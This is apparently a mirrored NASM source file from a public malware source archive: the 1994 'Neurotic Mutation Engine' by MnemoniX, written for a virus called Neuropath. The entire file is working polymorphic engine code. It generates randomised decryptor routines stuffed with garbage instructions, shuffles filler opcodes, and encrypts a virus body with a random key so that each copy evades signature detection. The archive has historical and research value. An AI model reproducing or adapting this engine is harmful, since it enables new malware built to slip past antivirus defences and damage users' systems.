mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-20 18:36:10 +00:00
285 lines
7.7 KiB
NASM
285 lines
7.7 KiB
NASM
; Neurotic Mutation Engine v1.00 for Neuropath
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; by MnemoniX 1994
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engine proc near
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call randomize
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get_reg_1:
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mov ax,7 ; counter register
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call _random
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inc ax
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cmp al,4
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je get_reg_1
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cmp al,5
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ja get_reg_1
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mov ds:reg_1,al
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push di ; save this
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push ax
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call garbage_dump ; crap
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pop ax
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add al,0B8h ; store MOV instruction
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stosb
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mov ax,cx
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stosw
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call garbage_dump ; more crap
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mov al,0BFh
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stosb
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push di ; use this later
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stosw
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call garbage_dump ; even more crap
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mov ax,0F78Bh
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stosw
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push di ; use this later too
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call garbage_dump ; more crap
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mov al,0ADh ; a LODSW
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stosb
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call garbage_dump ; yet more crap
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mov al,2
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call _random
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test al,al
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je add_it
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mov al,35h
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mov bl,al
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je decryptor
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add_it:
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mov al,5
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mov bl,2Dh
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decryptor:
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stosb
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mov ds:encrypt_act,bl ; for encryption
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mov ax,-1
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call _random
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stosw
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mov ds:encrypt_key,ax ; for encryption
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call garbage_dump ; just pilin' on the crap
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mov al,0ABh ; a STOSW
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stosb
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call garbage_dump ; the crap continues ...
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mov al,ds:reg_1 ; decrement counter
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add al,48h
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mov ah,9Ch ; and a PUSHF
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stosw
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call garbage_dump ; C-R-A-P ...
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mov ax,749Dh ; a POPF and JZ
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stosw
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mov ax,4
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call _random ; use later
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mov bx,ax
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add al,3
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stosb
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mov al,0E9h ; a JMP
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stosb
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pop ax ; use LODSW offset
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sub ax,di
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dec ax
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dec ax
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stosw
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add di,bx ; fix up DI
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pop bx ; now fix up offset value
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pop bp
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sub bp,di
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neg bp
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push bp ; size of decryptor - for l8r
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add bp,dx
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mov es:[bx],bp
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push cx
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push si
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mov si,offset one_byters ; swap one-byte instructions
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mov ax,7 ; around for variety
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call _random
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mov bx,ax
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mov al,7
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call _random
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mov ah,[bx+si]
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mov bl,al
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mov [bx+si],ah
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pop si
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; now we encrypt
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encrypt_it:
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lodsw
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encrypt_act db 0
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encrypt_key dw 0
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stosw
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loop encrypt_it
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pop cx
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pop dx
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add cx,dx
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ret
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reg_1 db 0
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rnd_seed_1 dw 0
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rnd_seed_2 dw 0
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garbage_dump:
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mov ax,7 ; garbage instructions
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call _random
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add ax,5
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push cx
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mov cx,ax
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dump_it:
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; El Basurero - "The GarbageMan"
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mov ax,8
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call _random
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cmp al,2
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jb next_one
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je garbage_1 ; a MOV ??,AX
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cmp al,3
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je garbage_2 ; operate ??,AX
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cmp al,4
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je garbage_3 ; CMP or TEST AX/AL,??
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cmp al,5 ; a few little instructions
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jae garbage_4
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next_one:
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loop dump_it
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pop cx
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ret
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garbage_1:
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mov al,8Bh
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stosb
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call get_mov_reg
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shl ax,1
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shl ax,1
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shl ax,1
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add al,0C0h
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stosb
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jmp next_one
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garbage_2:
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mov al,8
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call _random
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shl ax,1
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shl ax,1
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shl ax,1
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add al,3
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stosb
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call get_mov_reg
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shl ax,1
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shl ax,1
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shl ax,1
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add al,0C0h
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stosb
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jmp next_one
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garbage_3:
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mov al,2
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call _random
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test al,al
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je a_cmp
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mov al,0A9h
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jmp storage
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a_cmp:
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mov al,3Dh
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storage:
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stosb
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mov ax,-1
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call _random
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stosw
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jmp next_one
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garbage_4:
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push cx
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mov ax,4
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call _random
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add ax,3
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mov cx,ax
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push si
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mov bx,offset one_byters
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filler_loop:
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mov ax,8
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call _random
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cmp al,7
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je make_inc_dec
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mov si,ax
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mov al,[bx+si]
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proceed:
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stosb
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loop filler_loop
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pop si cx
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jmp next_one
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make_inc_dec:
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call get_mov_reg
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add al,40h
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jmp proceed
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get_mov_reg:
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mov ax,8
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call _random
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test al,al
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je get_mov_reg
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cmp al,4
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je get_mov_reg
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cmp al,5
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ja get_mov_reg
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cmp al,reg_1
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je get_mov_reg
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ret
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one_byters:
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db 0CCh
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stc
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clc
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cmc
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sti
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nop
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cld
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randomize:
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push cx dx
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xor ah,ah
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int 1Ah
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mov rnd_seed_1,dx
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add dx,cx
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mov rnd_seed_2,dx
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pop dx cx
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ret
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_random:
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push cx dx ax
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add dx,rnd_seed_2
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add dx,17
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mov ax,dx
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xor dx,dx
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test ax,ax
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je rnd_done
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pop cx
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div cx
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mov ax,dx ; AX now holds our random #
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rnd_done:
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mov dx,rnd_seed_1
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add rnd_seed_2,dx
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pop dx cx
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ret
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engine endp
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